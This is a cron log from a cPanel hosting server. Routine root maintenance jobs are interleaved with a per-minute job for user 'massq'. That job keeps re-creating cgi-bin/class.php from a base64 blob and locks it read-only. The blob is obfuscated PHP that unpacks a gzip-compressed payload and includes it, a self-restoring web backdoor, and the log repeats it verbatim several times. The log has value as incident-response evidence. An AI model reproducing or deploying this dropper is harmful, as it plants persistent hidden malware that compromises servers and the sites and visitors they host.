Sep  1 04:36:01 server CROND[6374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:37:01 server CROND[6747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:37:01 server CROND[6748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:37:01 server CROND[6749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:38:01 server CROND[7139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:38:01 server CROND[7140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:38:01 server CROND[7141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:39:01 server CROND[7516]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 04:39:01 server CROND[7515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:39:01 server CROND[7518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:39:01 server CROND[7517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:40:01 server CROND[7997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:40:01 server CROND[7999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:40:01 server CROND[8001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:40:01 server CROND[8002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:40:01 server CROND[8003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:40:01 server CROND[8006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:40:01 server CROND[8000]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:40:01 server CROND[8004]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:41:01 server CROND[8818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:41:01 server CROND[8819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:41:01 server CROND[8820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:42:01 server CROND[9204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:42:01 server CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:42:01 server CROND[9207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:42:01 server CROND[9205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:43:01 server CROND[9584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:43:01 server CROND[9586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:43:01 server CROND[9585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:44:01 server CROND[9955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:44:01 server CROND[9956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:44:01 server CROND[9957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:45:01 server CROND[10441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:45:01 server CROND[10443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:45:01 server CROND[10446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:45:01 server CROND[10448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:45:01 server CROND[10447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:45:01 server CROND[10449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:45:01 server CROND[10445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:46:01 server CROND[11283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:46:01 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:46:01 server CROND[11285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:47:01 server CROND[11668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:47:01 server CROND[11669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:47:01 server CROND[11671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:48:01 server CROND[12070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:48:01 server CROND[12071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
